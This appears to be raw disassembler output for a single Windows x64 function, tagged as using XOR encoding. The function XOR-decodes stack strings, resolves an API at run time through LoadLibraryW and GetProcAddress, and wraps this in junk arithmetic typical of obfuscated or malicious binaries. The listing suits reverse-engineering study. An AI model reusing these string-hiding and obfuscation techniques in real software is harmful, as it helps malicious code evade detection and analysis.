Function at 0x18057bbd4
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov eax, 0x7c2b
lea r9, [rbp - 0x25]
mov word [rbp + 0x67], ax
xor ebx, ebx
movzx esi, byte [0x18001007a]
mov r8d, ebx
mov rax, qword [str.bW_m]
mov r10d, 0xa0a0a0a1
mov qword [rbp + 7], rax
mov al, byte [0x18001006b]
lea edi, [rbx + 1]
mov dword [rbp - 0x35], 0x7487
mov byte [rbp + 0x67], 0xa6
movzx eax, word [0x180058554]
mov byte [rbp + 0x77], al
movsx rax, word [0x1800100b4]
mov qword [rbp - 0x11], rax
mov rax, qword [0x180010090]
mov dword [rbp - 0x2d], eax
movzx eax, word [0x1800100d8]
mov dword [rbp + 0x7f], eax
movzx eax, word [0x1800100dc]
mov word [rbp - 0x39], ax
mov al, byte [str.bW_m]
mov byte [rbp + 0x6f], al
mov eax, dword [0x180010088]
mov dword [rbp - 0x29], eax
movzx eax, byte [0x18001007f]
mov qword [rbp + 0xf], rax
movzx eax, word [0x1800100f4]
mov dword [rbp - 0x31], eax
mov eax, dword [0x18001008c]
mov qword [rbp - 1], rax
mov qword [rbp - 0x19], 0x7e
movsx r14d, byte [0x18001006b]
movzx eax, word [0x1800100e0]
mov dword [rbp + 0x7f], 0x5ac3
mov qword [rbp - 9], 0x3de7
mov qword [rbp + 0x7f], 0x57b3
mov qword [rbp + 0x7f], rax
mov qword [rbp + 0x7f], 0x46cc
mov qword [rbp + 0x7f], 0x2c5a1441
mov al, byte [0x18001007e]
mov byte [rbp + 0x7f], al
mov dword [rbp + 0x7f], 0x28e1
mov eax, dword [0x180010084]
mov dword [rbp + 0x7f], eax
movzx eax, word [0x1800100b0]
mov byte [rbp + 0x7f], 0x64
mov dword [rbp + 0x7f], eax
mov eax, 0x46
mov word [rbp + 0x7f], ax
mov eax, dword [0x18000f354]
mov dword [rbp - 0x25], eax
movzx eax, word [0x18000f358]
mov word [rbp - 0x21], ax
mov eax, r10d
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
mov al, r8b
add r8d, edi
sub al, cl
add al, 0x35
xor byte [r9], al
add r9, rdi
cmp r8d, 6
jl 0x18057bd11
vmovups xmm0, xmmword [str.SEVV_b]
vmovsd xmm1, qword [0x18000f370]
movzx eax, word [0x18000f378]
lea r9, [rbp + 0x17]
vmovups xmmword [rbp + 0x17], xmm0
vmovsd qword [rbp + 0x27], xmm1
mov word [rbp + 0x2f], ax
mov r8d, ebx
mov eax, r10d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
add r8d, edi
sub ax, cx
add ax, 0x35
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x18057bd62
lea rcx, [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [rbp - 0x25]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 1]
call qword [sym.imp.USER32.dll_OpenIcon]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x180579004]
mov byte [0x18001006a], al
call fcn.18057b270
test al, al
jne 0x18057c061
mov rax, qword [0x1800100c0]
test rax, rax
je 0x18057bed9
mov ecx, dword [0x18001008c]
mov edx, ebx
mov eax, dword [rbp - 0x31]
cmp eax, ecx
mov eax, dword [rbp - 0x31]
mov ecx, ebx
sete dl
cmp eax, 0x16
sete cl
cmp edx, ecx
jbe 0x18057bea9
movsx eax, word [0x1800100b4]
sub eax, 0x9bc9f17
mov dword [rbp + 0x7f], 3
mov dword [0x180058550], eax
movzx eax, word [0x18041c040]
add word [0x1800100a0], ax
mov eax, dword [rbp + 0x7f]
dec eax
sub eax, edi
je 0x18057be6a
cmp eax, edi
jne 0x18057bf18
mov eax, dword [0x180010084]
mov ecx, 0x1580
mov dword [rbp - 0x31], eax
mov rax, qword [rbp - 0x11]
movzx edx, ax
mov eax, dword [0x1800cc2ec]
imul edx, ecx
add word [0x1800100ac], dx
mov dword [0x180058550], eax
jmp 0x18057bf18
mov al, byte [0x18001007a]
movzx ecx, byte [0x18001007f]
neg al
movzx eax, word [0x1800100ac]
sbb edx, edx
neg edx
add edx, 0xc6
sub edx, eax
movsx eax, byte [0x18001005b]
add ecx, edx
not ecx
sub ecx, eax
movsxd rax, ecx
mov qword [rbp - 0x19], rax
mov qword [0x180058568], rdi
jmp 0x18057bf18
mov al, byte [rbp + 0x6f]
test al, al
je 0x18057beb9
movzx eax, word [0x1800100f8]
jmp 0x18057bebd
mov rax, qword [rbp - 1]
movsx rcx, byte [rbp + 0x67]
mov dword [0x1800100e4], eax
mov rax, qword [0x180010098]
sub cl, al
sub cl, 0x76
mov byte [rbp + 0x67], cl
jmp 0x18057bf18
mov al, byte [rbp + 0x6f]
test al, al
jne 0x18057beec
mov al, byte [0x18001007f]
test al, al
jne 0x18057beec
mov edi, ebx
movzx eax, byte [0x18001006a]
cmp edi, eax
jbe 0x18057bf18
mov eax, dword [rbp - 0x2d]
mov ecx, 0x1a44
add eax, 0x4d90e027
mov dword [rbp - 0x2d], eax
mov rax, qword [rbp - 0x19]
movzx edx, ax
imul edx, ecx
mov word [0x1800100e0], dx
mov edi, 0x6e
mov dword [0x180010084], edi
mov al, byte [0x18001007e]
call fcn.180009c64
movzx r11d, ax
mov qword [str.bW_m], r11
test r11, r11
je 0x18057bf70
mov eax, dword [0x18001008c]
cmp eax, dword [0x1800100a8]
jbe 0x18057bf9a
movsx eax, byte [rbp + 0x6f]
add eax, 0x1d
cdqe
mov qword [rbp + 7], rax
mov rax, qword [rbp - 0x11]
sub eax, 0x6c6b96d
mov dword [rbp - 0x29], eax
movsx rax, word [rbp - 0x39]
mov qword [rbp - 9], rax
jmp 0x18057bf9a
movsx ecx, byte [rbp + 0x67]
mov eax, dword [0x1800100a4]
sub ecx, eax
movsx edx, byte [rbp + 0x67]
movsx ecx, cl
imul edx, ecx
mov byte [rbp + 0x67], dl
movzx eax, byte [rbp + 0x77]
mov ecx, dword [rbp - 0x35]
sub ecx, eax
mov eax, dword [rbp - 0x35]
add eax, ecx
mov dword [rbp - 0x35], eax
mov eax, dword [0x180010084]
lea ecx, [rsi + 0x6e]
cmp eax, ecx
jne 0x18057bfdd
mov rdx, qword [rbp + 7]
movsxd rax, dword [0x18001006c]
add rdx, 0x7fb6efe9
cmp rax, rdx
jne 0x18057bfdd
mov rax, qword [rbp - 0x19]
mov rdx, qword [str.bW_m]
mov rax, qword [rbp - 0x11]
mov rcx, rdx
sub rcx, rax
or rcx, rdx
mov qword [str.bW_m], rcx
mov dword [0x180010084], edi
mov rax, qword [0x180058568]
add al, al
mov byte [0x18001007a], al
mov eax, dword [0x180058550]
movsx edx, byte [0x18001007b]
sub eax, 0xef07
mov dword [0x1800100c8], eax
mov eax, 0xffffceed
cwde
imul edx, eax
mov eax, dword [0x1800100c8]
add rax, qword [str.bW_m]
mov word [0x1800100cc], bx
mov word [rbp - 0x39], dx
sete byte [rbp + 0x77]
cmp word [0x1800100cc], bx
jne 0x18057c05a
mov al, byte [rbp + 0x67]
mov edx, ebx
test al, al
movzx eax, byte [0x18001007f]
sete dl
cmp eax, edx
mov eax, dword [0x1800cc2ec]
sete bl
mov dword [rbp + 0x7f], ebx
mov dword [rbp - 0x35], eax
xor al, al
jmp 0x18057c140
mov eax, 0x22b0
mov word [0x1800100f8], ax
movzx eax, word [0x1800100ac]
imul rax, qword [0x1800100d0]
test rax, rax
je 0x18057c084
mov eax, dword [rbp - 0x35]
mov rcx, qword [rbp + 0xf]
movabs rax, 0x4e3a5745d0d68
cmp rax, rcx
mov ecx, ebx
sete cl
mov dword [rbp - 0x31], ecx
mov al, byte [0x180010033]
mov al, byte [0x18001006a]
sub al, dil
mov byte [0x18001006a], al
mov eax, dword [0x180058550]
test r14w, r14w
jne 0x18057c0c2
mov rax, qword [rbp - 9]
movzx eax, word [rbp - 0x39]
test ax, ax
jne 0x18057c0ce
mov eax, dword [rbp - 0x2d]
mov ecx, dword [rbp - 0x29]
mov rax, qword [rbp - 9]
xor rax, rcx
je 0x18057c0f0
mov eax, dword [0x18001008c]
mov byte [0x180010036], 0x20
mov dword [rbp - 0x31], 0x6299
jmp 0x18057c13d
mov ecx, dword [rbp - 0x35]
not esi
movsx eax, word [0x18001007c]
imul ecx, eax
mov dword [rbp - 0x35], ecx
mov ecx, ebx
mov al, byte [rbp + 0x6f]
mov r8d, dword [0x180010084]
test al, al
sete cl
sub esi, ecx
mov rcx, qword [0x180058568]
mov rdx, qword [rbp - 0x11]
not rcx
add dl, cl
add dl, byte [0x1800100b8]
add dl, dil
add r8d, esi
movzx ecx, dl
cmove ebx, ecx
mov byte [0x18001007b], bl
mov al, dil
add rsp, 0x90
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret